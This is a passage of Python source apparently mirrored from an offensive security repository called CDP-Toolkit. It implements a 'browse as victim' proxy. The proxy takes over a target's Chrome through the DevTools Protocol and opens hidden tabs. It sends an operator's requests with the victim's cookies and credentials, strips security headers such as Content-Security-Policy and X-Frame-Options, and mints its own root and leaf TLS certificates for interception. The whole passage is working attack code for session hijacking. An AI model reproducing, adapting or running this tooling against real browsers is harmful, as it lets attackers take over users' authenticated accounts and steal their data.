mirror of
https://github.com/KingOfTheNOPs/CDP-Toolkit
synced 2026-06-29 08:59:48 +00:00
1256 lines
46 KiB
Python
1256 lines
46 KiB
Python
from __future__ import annotations
|
|
|
|
import asyncio
|
|
import base64
|
|
import contextlib
|
|
import datetime
|
|
import ipaddress
|
|
import json
|
|
import ssl
|
|
import time
|
|
from dataclasses import dataclass
|
|
from http import HTTPStatus
|
|
from pathlib import Path
|
|
from typing import Any
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
|
|
from cryptography import x509
|
|
from cryptography.hazmat.primitives import hashes, serialization
|
|
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
|
|
|
|
from .client import CDPClient, TargetSession
|
|
from .log import info, warn
|
|
from .transport import CDPError
|
|
|
|
|
|
HOP_BY_HOP_HEADERS = {
|
|
"connection",
|
|
"keep-alive",
|
|
"proxy-authenticate",
|
|
"proxy-authorization",
|
|
"proxy-connection",
|
|
"te",
|
|
"trailer",
|
|
"transfer-encoding",
|
|
"upgrade",
|
|
}
|
|
|
|
REQUEST_HEADER_DENYLIST = HOP_BY_HOP_HEADERS | {
|
|
"content-length",
|
|
"cookie",
|
|
"host",
|
|
"proxy-connection",
|
|
"user-agent",
|
|
"accept-encoding",
|
|
}
|
|
|
|
RESPONSE_HEADER_STRIP = HOP_BY_HOP_HEADERS | {
|
|
"content-encoding",
|
|
"content-length",
|
|
"content-security-policy",
|
|
"content-security-policy-report-only",
|
|
"cross-origin-embedder-policy",
|
|
"cross-origin-opener-policy",
|
|
"cross-origin-resource-policy",
|
|
"x-frame-options",
|
|
}
|
|
|
|
REDIRECT_STATUS_CODES = {301, 302, 303, 307, 308}
|
|
NO_BODY_STATUS_CODES = {204, 205, 304}
|
|
UTC = datetime.timezone.utc
|
|
FETCH_REQUEST_PATTERNS = {"patterns": [{"urlPattern": "*", "requestStage": "Request"}]}
|
|
SUBRESOURCE_FETCH_DESTS = {
|
|
"audio",
|
|
"audioworklet",
|
|
"embed",
|
|
"empty",
|
|
"font",
|
|
"image",
|
|
"manifest",
|
|
"object",
|
|
"paintworklet",
|
|
"report",
|
|
"script",
|
|
"serviceworker",
|
|
"sharedworker",
|
|
"style",
|
|
"track",
|
|
"video",
|
|
"worker",
|
|
"xslt",
|
|
}
|
|
DOCUMENT_FETCH_DESTS = {"document", "frame", "iframe"}
|
|
SUBRESOURCE_EXTENSIONS = {
|
|
".avif",
|
|
".bmp",
|
|
".css",
|
|
".gif",
|
|
".ico",
|
|
".jpeg",
|
|
".jpg",
|
|
".js",
|
|
".json",
|
|
".map",
|
|
".mjs",
|
|
".mp3",
|
|
".mp4",
|
|
".otf",
|
|
".png",
|
|
".svg",
|
|
".ttf",
|
|
".wasm",
|
|
".webm",
|
|
".webp",
|
|
".woff",
|
|
".woff2",
|
|
}
|
|
DOWNLOAD_PRONE_EXTENSIONS = {
|
|
".7z",
|
|
".bat",
|
|
".bin",
|
|
".bz2",
|
|
".cmd",
|
|
".crx",
|
|
".deb",
|
|
".dll",
|
|
".dmg",
|
|
".exe",
|
|
".gz",
|
|
".iso",
|
|
".msi",
|
|
".pdf",
|
|
".pkg",
|
|
".ps1",
|
|
".rar",
|
|
".rpm",
|
|
".tar",
|
|
".vbs",
|
|
".xz",
|
|
".zip",
|
|
}
|
|
DOCUMENT_HTML_EXPRESSION = r"""(() => {
|
|
const doctype = document.doctype
|
|
? `<!DOCTYPE ${document.doctype.name}${document.doctype.publicId ? ` PUBLIC "${document.doctype.publicId}"` : ""}${document.doctype.systemId ? ` "${document.doctype.systemId}"` : ""}>`
|
|
: "";
|
|
return `${doctype}\n${document.documentElement ? document.documentElement.outerHTML : ""}`;
|
|
})()"""
|
|
|
|
|
|
@dataclass(slots=True)
|
|
class HttpRequest:
|
|
method: str
|
|
target: str
|
|
version: str
|
|
headers: list[tuple[str, str]]
|
|
body: bytes
|
|
|
|
def header(self, name: str, default: str | None = None) -> str | None:
|
|
name_l = name.lower()
|
|
for header_name, value in reversed(self.headers):
|
|
if header_name.lower() == name_l:
|
|
return value
|
|
return default
|
|
|
|
def should_keep_alive(self) -> bool:
|
|
connection = (self.header("Connection", "") or "").lower()
|
|
if self.version == "HTTP/1.0":
|
|
return connection == "keep-alive"
|
|
return connection != "close"
|
|
|
|
|
|
@dataclass(slots=True)
|
|
class ProxiedResponse:
|
|
status_code: int
|
|
reason: str
|
|
headers: list[tuple[str, str]]
|
|
body: bytes
|
|
|
|
|
|
@dataclass(slots=True)
|
|
class BrowseAsVictimProxyOptions:
|
|
cdp_endpoint: str
|
|
listen_host: str
|
|
listen_port: int
|
|
socks: str | None = None
|
|
cert_dir: Path = Path("runs/proxy/certs")
|
|
pool_size: int = 3
|
|
fetch_timeout: float = 20.0
|
|
hidden: bool = True
|
|
subresource_loader: bool = True
|
|
deny_downloads: bool = True
|
|
|
|
|
|
def _default_port(scheme: str) -> int:
|
|
return 443 if scheme == "https" else 80
|
|
|
|
|
|
def _split_authority(authority: str, fallback_port: int) -> tuple[str, int]:
|
|
probe = urlsplit(f"//{authority}")
|
|
host = probe.hostname
|
|
port = probe.port
|
|
if not host:
|
|
raise ValueError(f"invalid authority: {authority!r}")
|
|
return host, port or fallback_port
|
|
|
|
|
|
def _absolute_url(
|
|
request: HttpRequest,
|
|
default_scheme: str,
|
|
connect_host: str | None,
|
|
connect_port: int | None,
|
|
) -> str:
|
|
if request.target.startswith("http://") or request.target.startswith("https://"):
|
|
return request.target
|
|
|
|
authority = request.header("Host") or connect_host
|
|
if not authority:
|
|
raise ValueError("request has no Host header and no CONNECT host")
|
|
|
|
if connect_host and not request.header("Host"):
|
|
host = connect_host
|
|
port = connect_port or _default_port(default_scheme)
|
|
else:
|
|
host, port = _split_authority(authority, _default_port(default_scheme))
|
|
|
|
port_suffix = "" if port == _default_port(default_scheme) else f":{port}"
|
|
return f"{default_scheme}://{host}{port_suffix}{request.target}"
|
|
|
|
|
|
def _normalize_url_for_match(url: str) -> str:
|
|
parsed = urlsplit(url)
|
|
path = parsed.path or "/"
|
|
return urlunsplit((parsed.scheme.lower(), parsed.netloc.lower(), path, parsed.query, ""))
|
|
|
|
|
|
def _matches_navigation_url(event_url: str, target_url: str) -> bool:
|
|
event_normalized = _normalize_url_for_match(event_url)
|
|
target_normalized = _normalize_url_for_match(target_url)
|
|
if event_normalized == target_normalized:
|
|
return True
|
|
|
|
event = urlsplit(event_normalized)
|
|
target = urlsplit(target_normalized)
|
|
return (
|
|
target.scheme == "http"
|
|
and event.scheme == "https"
|
|
and event.netloc == target.netloc
|
|
and (event.path or "/") == (target.path or "/")
|
|
and event.query == target.query
|
|
)
|
|
|
|
|
|
def _path_extension(url: str) -> str:
|
|
path = urlsplit(url).path.lower()
|
|
name = path.rsplit("/", 1)[-1]
|
|
if "." not in name:
|
|
return ""
|
|
return "." + name.rsplit(".", 1)[-1]
|
|
|
|
|
|
def _origin_url(url: str) -> str:
|
|
parsed = urlsplit(url)
|
|
return urlunsplit((parsed.scheme, parsed.netloc, "/", "", ""))
|
|
|
|
|
|
def _runtime_fetch_expression(payload: dict[str, Any]) -> str:
|
|
payload_json = json.dumps(payload, separators=(",", ":"))
|
|
return f"""(async () => {{
|
|
const req = {payload_json};
|
|
try {{
|
|
const headers = new Headers(req.headers || {{}});
|
|
const init = {{
|
|
method: req.method,
|
|
headers,
|
|
credentials: "include",
|
|
cache: "no-store",
|
|
redirect: "follow"
|
|
}};
|
|
if (req.body && req.method !== "GET" && req.method !== "HEAD") {{
|
|
const binary = atob(req.body);
|
|
const bytes = new Uint8Array(binary.length);
|
|
for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
|
|
init.body = bytes;
|
|
}}
|
|
const response = await fetch(req.url, init);
|
|
const buffer = await response.arrayBuffer();
|
|
const bytes = new Uint8Array(buffer);
|
|
let binary = "";
|
|
const chunkSize = 0x8000;
|
|
for (let offset = 0; offset < bytes.length; offset += chunkSize) {{
|
|
binary += String.fromCharCode(...bytes.subarray(offset, offset + chunkSize));
|
|
}}
|
|
return {{
|
|
ok: true,
|
|
status: response.status,
|
|
statusText: response.statusText,
|
|
url: response.url,
|
|
headers: Array.from(response.headers.entries()),
|
|
body: btoa(binary)
|
|
}};
|
|
}} catch (error) {{
|
|
return {{
|
|
ok: false,
|
|
error: String(error && (error.stack || error.message) || error)
|
|
}};
|
|
}}
|
|
}})()"""
|
|
|
|
|
|
def _resource_extra_headers(operator_headers: list[tuple[str, str]]) -> dict[str, str]:
|
|
headers: dict[str, str] = {}
|
|
for name, value in operator_headers:
|
|
name_l = name.lower()
|
|
if name_l in REQUEST_HEADER_DENYLIST or name_l.startswith(":"):
|
|
continue
|
|
headers[name] = value
|
|
return headers
|
|
|
|
|
|
def _should_use_subresource_loader(request: HttpRequest, absolute_url: str) -> bool:
|
|
if request.method not in {"GET", "HEAD"} or request.body:
|
|
return False
|
|
|
|
extension = _path_extension(absolute_url)
|
|
if extension in DOWNLOAD_PRONE_EXTENSIONS:
|
|
return True
|
|
|
|
fetch_dest = (request.header("Sec-Fetch-Dest", "") or "").lower()
|
|
if fetch_dest in DOCUMENT_FETCH_DESTS:
|
|
return False
|
|
if fetch_dest in SUBRESOURCE_FETCH_DESTS:
|
|
return True
|
|
|
|
accept = (request.header("Accept", "") or "").lower()
|
|
if "text/html" in accept or "application/xhtml+xml" in accept:
|
|
return False
|
|
|
|
if extension in SUBRESOURCE_EXTENSIONS:
|
|
return True
|
|
|
|
return False
|
|
|
|
|
|
def _reason_phrase(status_code: int) -> str:
|
|
try:
|
|
return HTTPStatus(status_code).phrase
|
|
except ValueError:
|
|
return "OK" if 200 <= status_code < 300 else ""
|
|
|
|
|
|
def _drop_header(headers: dict[str, str], name: str) -> None:
|
|
name_l = name.lower()
|
|
for key in list(headers.keys()):
|
|
if key.lower() == name_l:
|
|
headers.pop(key, None)
|
|
|
|
|
|
def _dict_to_entries(headers: dict[str, str]) -> list[dict[str, str]]:
|
|
return [{"name": str(name), "value": str(value)} for name, value in headers.items()]
|
|
|
|
|
|
def _tuple_to_entries(headers: list[tuple[str, str]]) -> list[dict[str, str]]:
|
|
return [{"name": str(name), "value": str(value)} for name, value in headers]
|
|
|
|
|
|
def _merge_request_headers(
|
|
operator_headers: list[tuple[str, str]],
|
|
intercepted_headers: dict[str, Any],
|
|
) -> dict[str, str]:
|
|
merged = {str(name): str(value) for name, value in intercepted_headers.items()}
|
|
for name, value in operator_headers:
|
|
name_l = name.lower()
|
|
if name_l in REQUEST_HEADER_DENYLIST or name_l.startswith(":"):
|
|
continue
|
|
_drop_header(merged, name)
|
|
merged[name] = value
|
|
_drop_header(merged, "Content-Length")
|
|
_drop_header(merged, "Accept-Encoding")
|
|
merged["Accept-Encoding"] = "identity"
|
|
return merged
|
|
|
|
|
|
def _normalize_response_headers(headers: list[dict[str, Any]]) -> list[tuple[str, str]]:
|
|
normalized: list[tuple[str, str]] = []
|
|
for entry in headers:
|
|
name = str(entry.get("name") or "")
|
|
value = str(entry.get("value") or "")
|
|
if not name:
|
|
continue
|
|
if name.lower() in RESPONSE_HEADER_STRIP:
|
|
continue
|
|
normalized.append((name, value))
|
|
return normalized
|
|
|
|
|
|
def _normalize_response_header_map(headers: dict[str, Any]) -> list[tuple[str, str]]:
|
|
normalized: list[tuple[str, str]] = []
|
|
for name, value in headers.items():
|
|
name_s = str(name)
|
|
if not name_s or name_s.lower() in RESPONSE_HEADER_STRIP:
|
|
continue
|
|
normalized.append((name_s, str(value)))
|
|
return normalized
|
|
|
|
|
|
def _body_from_cdp(result: dict[str, Any]) -> bytes:
|
|
body = result.get("body", "")
|
|
if result.get("base64Encoded"):
|
|
return base64.b64decode(body)
|
|
return str(body).encode("utf-8")
|
|
|
|
|
|
def _resource_content_from_cdp(result: dict[str, Any]) -> bytes:
|
|
content = result.get("content", "")
|
|
if result.get("base64Encoded"):
|
|
return base64.b64decode(content)
|
|
return str(content).encode("utf-8")
|
|
|
|
|
|
def _format_exception(exc: BaseException) -> str:
|
|
message = str(exc) or repr(exc)
|
|
return f"{type(exc).__name__}: {message}"
|
|
|
|
|
|
def _is_expected_client_disconnect(exc: BaseException) -> bool:
|
|
if isinstance(exc, (asyncio.IncompleteReadError, BrokenPipeError, ConnectionResetError, ssl.SSLError)):
|
|
return True
|
|
message = str(exc).lower()
|
|
return (
|
|
"ssl connection is closed" in message
|
|
or "connection lost" in message
|
|
or "connection reset" in message
|
|
)
|
|
|
|
|
|
class CertAuthority:
|
|
def __init__(self, cert_dir: Path) -> None:
|
|
self.cert_dir = cert_dir
|
|
self.issued_dir = cert_dir / "issued"
|
|
self.ca_key_path = cert_dir / "ca.key"
|
|
self.ca_cert_path = cert_dir / "ca.crt"
|
|
self._ca_key: rsa.RSAPrivateKey | None = None
|
|
self._ca_cert: x509.Certificate | None = None
|
|
self._contexts: dict[str, ssl.SSLContext] = {}
|
|
|
|
def ensure_ca(self) -> None:
|
|
self.cert_dir.mkdir(parents=True, exist_ok=True)
|
|
self.issued_dir.mkdir(parents=True, exist_ok=True)
|
|
if self.ca_key_path.exists() and self.ca_cert_path.exists():
|
|
self._ca_key = serialization.load_pem_private_key(self.ca_key_path.read_bytes(), password=None)
|
|
self._ca_cert = x509.load_pem_x509_certificate(self.ca_cert_path.read_bytes())
|
|
info("loaded proxy CA from {}", self.cert_dir)
|
|
return
|
|
|
|
info("generating proxy CA in {}", self.cert_dir)
|
|
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
|
name = x509.Name(
|
|
[
|
|
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
|
|
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "CDP Toolkit"),
|
|
x509.NameAttribute(NameOID.COMMON_NAME, "CDP Toolkit Proxy Root CA"),
|
|
]
|
|
)
|
|
now = datetime.datetime.now(UTC)
|
|
cert = (
|
|
x509.CertificateBuilder()
|
|
.subject_name(name)
|
|
.issuer_name(name)
|
|
.public_key(key.public_key())
|
|
.serial_number(x509.random_serial_number())
|
|
.not_valid_before(now - datetime.timedelta(days=1))
|
|
.not_valid_after(now + datetime.timedelta(days=3650))
|
|
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
|
|
.add_extension(
|
|
x509.KeyUsage(
|
|
digital_signature=True,
|
|
key_cert_sign=True,
|
|
crl_sign=True,
|
|
content_commitment=False,
|
|
key_encipherment=False,
|
|
data_encipherment=False,
|
|
key_agreement=False,
|
|
encipher_only=False,
|
|
decipher_only=False,
|
|
),
|
|
critical=True,
|
|
)
|
|
.sign(key, hashes.SHA256())
|
|
)
|
|
self.ca_key_path.write_bytes(
|
|
key.private_bytes(
|
|
serialization.Encoding.PEM,
|
|
serialization.PrivateFormat.TraditionalOpenSSL,
|
|
serialization.NoEncryption(),
|
|
)
|
|
)
|
|
self.ca_cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM))
|
|
self._ca_key = key
|
|
self._ca_cert = cert
|
|
|
|
def ssl_context_for_host(self, hostname: str) -> ssl.SSLContext:
|
|
if hostname in self._contexts:
|
|
return self._contexts[hostname]
|
|
cert_path, key_path = self._issue_leaf(hostname)
|
|
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
context.load_cert_chain(certfile=str(cert_path), keyfile=str(key_path))
|
|
self._contexts[hostname] = context
|
|
return context
|
|
|
|
def _issue_leaf(self, hostname: str) -> tuple[Path, Path]:
|
|
if self._ca_key is None or self._ca_cert is None:
|
|
raise RuntimeError("CA is not loaded")
|
|
safe_host = "".join(ch if ch.isalnum() or ch in ".-_" else "_" for ch in hostname)
|
|
cert_path = self.issued_dir / f"{safe_host}.pem"
|
|
key_path = self.issued_dir / f"{safe_host}.key.pem"
|
|
if cert_path.exists() and key_path.exists():
|
|
return cert_path, key_path
|
|
|
|
leaf_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
|
subject = x509.Name(
|
|
[
|
|
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "CDP Toolkit"),
|
|
x509.NameAttribute(NameOID.COMMON_NAME, hostname),
|
|
]
|
|
)
|
|
try:
|
|
san: x509.GeneralName = x509.IPAddress(ipaddress.ip_address(hostname))
|
|
except ValueError:
|
|
san = x509.DNSName(hostname)
|
|
|
|
now = datetime.datetime.now(UTC)
|
|
cert = (
|
|
x509.CertificateBuilder()
|
|
.subject_name(subject)
|
|
.issuer_name(self._ca_cert.subject)
|
|
.public_key(leaf_key.public_key())
|
|
.serial_number(x509.random_serial_number())
|
|
.not_valid_before(now - datetime.timedelta(days=1))
|
|
.not_valid_after(now + datetime.timedelta(days=30))
|
|
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
|
|
.add_extension(x509.SubjectAlternativeName([san]), critical=False)
|
|
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), critical=False)
|
|
.sign(self._ca_key, hashes.SHA256())
|
|
)
|
|
key_path.write_bytes(
|
|
leaf_key.private_bytes(
|
|
serialization.Encoding.PEM,
|
|
serialization.PrivateFormat.TraditionalOpenSSL,
|
|
serialization.NoEncryption(),
|
|
)
|
|
)
|
|
cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM))
|
|
info("issued proxy leaf certificate for {}", hostname)
|
|
return cert_path, key_path
|
|
|
|
|
|
class HiddenTab:
|
|
def __init__(
|
|
self,
|
|
cdp: CDPClient,
|
|
name: str,
|
|
fetch_timeout: float,
|
|
hidden: bool,
|
|
subresource_loader: bool,
|
|
deny_downloads: bool,
|
|
) -> None:
|
|
self.cdp = cdp
|
|
self.name = name
|
|
self.fetch_timeout = fetch_timeout
|
|
self.hidden = hidden
|
|
self.subresource_loader = subresource_loader
|
|
self.deny_downloads = deny_downloads
|
|
self.target_id: str | None = None
|
|
self.session: TargetSession | None = None
|
|
self.events: asyncio.Queue | None = None
|
|
self.lock = asyncio.Lock()
|
|
|
|
async def start(self) -> None:
|
|
params: dict[str, Any] = {"url": "about:blank", "background": True}
|
|
if self.hidden:
|
|
params["hidden"] = True
|
|
try:
|
|
result = await self.cdp.send("Target.createTarget", params)
|
|
except CDPError as exc:
|
|
if not self.hidden:
|
|
raise
|
|
warn("hidden target failed for {}: {}; falling back to background target", self.name, exc)
|
|
result = await self.cdp.send("Target.createTarget", {"url": "about:blank", "background": True})
|
|
|
|
self.target_id = result["targetId"]
|
|
self.session = await self.cdp.attach(self.target_id)
|
|
self.events = self.cdp.connection.subscribe_events(session_id=self.session.session_id, maxsize=5000)
|
|
await self.session.send("Page.enable")
|
|
if self.deny_downloads:
|
|
try:
|
|
await self.session.send("Page.setDownloadBehavior", {"behavior": "deny"})
|
|
info("proxy tab {} download behavior set to deny", self.name)
|
|
except Exception as exc:
|
|
warn("proxy tab {} could not set download deny behavior: {}", self.name, _format_exception(exc))
|
|
await self.session.send("Network.enable")
|
|
with contextlib.suppress(Exception):
|
|
await self.session.send("Network.setBypassServiceWorker", {"bypass": True})
|
|
with contextlib.suppress(Exception):
|
|
await self.session.send("Network.setCacheDisabled", {"cacheDisabled": True})
|
|
await self._enable_fetch()
|
|
info("proxy tab {} ready target={}", self.name, self.target_id)
|
|
|
|
async def close(self) -> None:
|
|
if self.events is not None:
|
|
self.cdp.connection.unsubscribe_events(self.events)
|
|
self.events = None
|
|
if self.session is not None:
|
|
with contextlib.suppress(Exception):
|
|
await self.cdp.detach(self.session)
|
|
self.session = None
|
|
if self.target_id:
|
|
with contextlib.suppress(Exception):
|
|
await self.cdp.close_target(self.target_id)
|
|
self.target_id = None
|
|
|
|
async def fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse:
|
|
async with self.lock:
|
|
if self.session is None or self.events is None:
|
|
raise RuntimeError(f"proxy tab {self.name} is not ready")
|
|
self._drain_events()
|
|
info("proxy {} -> {} {}", self.name, request.method, absolute_url)
|
|
|
|
if self.subresource_loader and _should_use_subresource_loader(request, absolute_url):
|
|
try:
|
|
return await self._load_subresource(request, absolute_url)
|
|
except CDPError as exc:
|
|
if "wasn't found" not in str(exc) and "not found" not in str(exc).lower():
|
|
raise
|
|
warn("Network.loadNetworkResource unavailable; falling back to navigation fetch")
|
|
|
|
await self.cdp.send_no_wait("Page.navigate", {"url": absolute_url}, session_id=self.session.session_id)
|
|
|
|
request_pause = await self._wait_for_request_pause(absolute_url)
|
|
request_params = request_pause["params"]
|
|
request_id = request_params["requestId"]
|
|
network_id = request_params.get("networkId")
|
|
upstream_url = request_params.get("request", {}).get("url") or absolute_url
|
|
if _normalize_url_for_match(upstream_url) != _normalize_url_for_match(absolute_url):
|
|
info("proxy {} upstream navigation {} -> {}", self.name, absolute_url, upstream_url)
|
|
intercepted_headers = request_params["request"].get("headers", {})
|
|
merged_headers = _merge_request_headers(request.headers, intercepted_headers)
|
|
|
|
continue_params: dict[str, Any] = {
|
|
"requestId": request_id,
|
|
"method": request.method,
|
|
"headers": _dict_to_entries(merged_headers),
|
|
}
|
|
if urlsplit(upstream_url).scheme == "https":
|
|
continue_params["interceptResponse"] = True
|
|
else:
|
|
info("proxy {} using Network response fallback for plaintext HTTP", self.name)
|
|
if request.body:
|
|
continue_params["postData"] = base64.b64encode(request.body).decode("ascii")
|
|
await self.session.send("Fetch.continueRequest", continue_params)
|
|
|
|
try:
|
|
response_pause = await self._wait_for_response_pause(request_id, network_id)
|
|
except RuntimeError as exc:
|
|
if request.method in {"GET", "HEAD"} and "ERR_ABORTED" in str(exc):
|
|
warn(
|
|
"navigation fetch aborted for {}; trying Runtime.fetch fallback",
|
|
absolute_url,
|
|
)
|
|
return await self._runtime_fetch(request, absolute_url)
|
|
raise
|
|
if isinstance(response_pause, ProxiedResponse):
|
|
info(
|
|
"proxy {} <- {} {} bytes={} via Network fallback",
|
|
self.name,
|
|
response_pause.status_code,
|
|
response_pause.reason,
|
|
len(response_pause.body),
|
|
)
|
|
return response_pause
|
|
|
|
params = response_pause["params"]
|
|
status_code = int(params.get("responseStatusCode") or 502)
|
|
reason = str(params.get("responseStatusText") or _reason_phrase(status_code))
|
|
headers = _normalize_response_headers(params.get("responseHeaders", []))
|
|
|
|
body = b""
|
|
if (
|
|
request.method != "HEAD"
|
|
and status_code not in REDIRECT_STATUS_CODES
|
|
and status_code not in NO_BODY_STATUS_CODES
|
|
):
|
|
try:
|
|
body_result = await self.session.send("Fetch.getResponseBody", {"requestId": request_id})
|
|
body = _body_from_cdp(body_result)
|
|
except Exception as exc:
|
|
warn("Fetch.getResponseBody failed for {}: {}", absolute_url, _format_exception(exc))
|
|
|
|
fulfill_params: dict[str, Any] = {
|
|
"requestId": request_id,
|
|
"responseCode": status_code,
|
|
"responseHeaders": _tuple_to_entries(headers),
|
|
}
|
|
if reason:
|
|
fulfill_params["responsePhrase"] = reason
|
|
if body:
|
|
fulfill_params["body"] = base64.b64encode(body).decode("ascii")
|
|
with contextlib.suppress(Exception):
|
|
await self.session.send("Fetch.fulfillRequest", fulfill_params)
|
|
|
|
info("proxy {} <- {} {} bytes={}", self.name, status_code, reason, len(body))
|
|
return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body)
|
|
|
|
async def _load_subresource(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse:
|
|
assert self.session is not None
|
|
info("proxy {} using Network.loadNetworkResource for {}", self.name, absolute_url)
|
|
frame_tree = await self.session.send("Page.getFrameTree")
|
|
frame_id = frame_tree.get("frameTree", {}).get("frame", {}).get("id")
|
|
if not frame_id:
|
|
raise RuntimeError("CDP did not return a frame id for Network.loadNetworkResource")
|
|
|
|
extra_headers = _resource_extra_headers(request.headers)
|
|
if extra_headers:
|
|
await self.session.send("Network.setExtraHTTPHeaders", {"headers": extra_headers})
|
|
try:
|
|
result = await self._session_send(
|
|
"Network.loadNetworkResource",
|
|
{
|
|
"frameId": frame_id,
|
|
"url": absolute_url,
|
|
"options": {"disableCache": True, "includeCredentials": True},
|
|
},
|
|
timeout=self.fetch_timeout,
|
|
)
|
|
finally:
|
|
if extra_headers:
|
|
with contextlib.suppress(Exception):
|
|
await self.session.send("Network.setExtraHTTPHeaders", {"headers": {}})
|
|
|
|
resource = result.get("resource", {})
|
|
status_code = int(resource.get("httpStatusCode") or (200 if resource.get("success") else 502))
|
|
reason = _reason_phrase(status_code)
|
|
headers = _normalize_response_header_map(resource.get("headers", {}) or {})
|
|
body = b""
|
|
stream = resource.get("stream")
|
|
if stream:
|
|
if request.method != "HEAD" and status_code not in REDIRECT_STATUS_CODES and status_code not in NO_BODY_STATUS_CODES:
|
|
body = await self._read_io_stream(stream)
|
|
else:
|
|
with contextlib.suppress(Exception):
|
|
await self._session_send("IO.close", {"handle": stream}, timeout=5)
|
|
|
|
if not resource.get("success") and not resource.get("httpStatusCode"):
|
|
error_name = resource.get("netErrorName") or "unknown network failure"
|
|
raise RuntimeError(f"Network.loadNetworkResource failed for {absolute_url}: {error_name}")
|
|
|
|
info("proxy {} <- {} {} bytes={} via Network.loadNetworkResource", self.name, status_code, reason, len(body))
|
|
return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body)
|
|
|
|
async def _runtime_fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse:
|
|
assert self.session is not None
|
|
if request.method not in {"GET", "HEAD"}:
|
|
raise RuntimeError(f"Runtime.fetch fallback does not support {request.method}")
|
|
|
|
origin = _origin_url(absolute_url)
|
|
payload = {
|
|
"url": absolute_url,
|
|
"method": request.method,
|
|
"headers": _resource_extra_headers(request.headers),
|
|
"body": base64.b64encode(request.body).decode("ascii") if request.body else None,
|
|
}
|
|
|
|
try:
|
|
with contextlib.suppress(Exception):
|
|
await self._disable_fetch()
|
|
self._drain_events()
|
|
info("proxy {} preparing same-origin runtime fetch at {}", self.name, origin)
|
|
await self.cdp.send_no_wait("Page.navigate", {"url": origin}, session_id=self.session.session_id)
|
|
await self._wait_for_page_event()
|
|
|
|
result = await self._session_send(
|
|
"Runtime.evaluate",
|
|
{
|
|
"expression": _runtime_fetch_expression(payload),
|
|
"returnByValue": True,
|
|
"awaitPromise": True,
|
|
},
|
|
timeout=self.fetch_timeout,
|
|
)
|
|
value = result.get("result", {}).get("value")
|
|
if not isinstance(value, dict):
|
|
raise RuntimeError(f"Runtime.fetch returned unexpected result: {result!r}")
|
|
if not value.get("ok"):
|
|
raise RuntimeError(f"Runtime.fetch failed for {absolute_url}: {value.get('error')}")
|
|
|
|
body = base64.b64decode(value.get("body") or "")
|
|
status_code = int(value.get("status") or 502)
|
|
reason = str(value.get("statusText") or _reason_phrase(status_code))
|
|
headers = _normalize_response_headers(
|
|
[{"name": name, "value": header_value} for name, header_value in value.get("headers", [])]
|
|
)
|
|
info("proxy {} <- {} {} bytes={} via Runtime.fetch", self.name, status_code, reason, len(body))
|
|
return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body)
|
|
finally:
|
|
with contextlib.suppress(Exception):
|
|
await self._enable_fetch()
|
|
|
|
async def _read_io_stream(self, handle: str) -> bytes:
|
|
chunks: list[bytes] = []
|
|
try:
|
|
while True:
|
|
chunk = await self._session_send("IO.read", {"handle": handle}, timeout=self.fetch_timeout)
|
|
data = chunk.get("data", "")
|
|
if data:
|
|
if chunk.get("base64Encoded"):
|
|
chunks.append(base64.b64decode(data))
|
|
else:
|
|
chunks.append(str(data).encode("utf-8"))
|
|
if chunk.get("eof"):
|
|
break
|
|
finally:
|
|
with contextlib.suppress(Exception):
|
|
await self._session_send("IO.close", {"handle": handle}, timeout=5)
|
|
return b"".join(chunks)
|
|
|
|
def _drain_events(self) -> None:
|
|
assert self.events is not None
|
|
drained = 0
|
|
while True:
|
|
try:
|
|
self.events.get_nowait()
|
|
drained += 1
|
|
except asyncio.QueueEmpty:
|
|
if drained:
|
|
info("proxy tab {} drained {} stale events", self.name, drained)
|
|
return
|
|
|
|
async def _enable_fetch(self) -> None:
|
|
assert self.session is not None
|
|
await self.session.send("Fetch.enable", FETCH_REQUEST_PATTERNS)
|
|
|
|
async def _disable_fetch(self) -> None:
|
|
assert self.session is not None
|
|
await self.session.send("Fetch.disable")
|
|
|
|
async def _session_send(self, method: str, params: dict[str, Any], *, timeout: float | None = None) -> dict[str, Any]:
|
|
assert self.session is not None
|
|
return await self.cdp.connection.send(method, params, session_id=self.session.session_id, timeout=timeout)
|
|
|
|
async def _next_event(self, deadline: float) -> dict[str, Any]:
|
|
assert self.events is not None
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError(f"proxy tab {self.name} timed out waiting for CDP event")
|
|
try:
|
|
return await asyncio.wait_for(self.events.get(), timeout=remaining)
|
|
except asyncio.TimeoutError as exc:
|
|
raise TimeoutError(f"proxy tab {self.name} timed out waiting for CDP event") from exc
|
|
|
|
async def _wait_for_page_event(self) -> None:
|
|
deadline = time.monotonic() + min(self.fetch_timeout, 5.0)
|
|
while True:
|
|
try:
|
|
event = await self._next_event(deadline)
|
|
except TimeoutError:
|
|
return
|
|
if event.get("method") in {"Page.domContentEventFired", "Page.loadEventFired"}:
|
|
return
|
|
|
|
async def _wait_for_request_pause(self, absolute_url: str) -> dict[str, Any]:
|
|
assert self.session is not None
|
|
deadline = time.monotonic() + self.fetch_timeout
|
|
target_url = _normalize_url_for_match(absolute_url)
|
|
while True:
|
|
event = await self._next_event(deadline)
|
|
if event.get("method") != "Fetch.requestPaused":
|
|
continue
|
|
params = event.get("params", {})
|
|
if params.get("responseStatusCode") is not None:
|
|
continue
|
|
event_url = params.get("request", {}).get("url", "")
|
|
if _matches_navigation_url(event_url, target_url):
|
|
return event
|
|
with contextlib.suppress(Exception):
|
|
await self.session.send("Fetch.continueRequest", {"requestId": params["requestId"]})
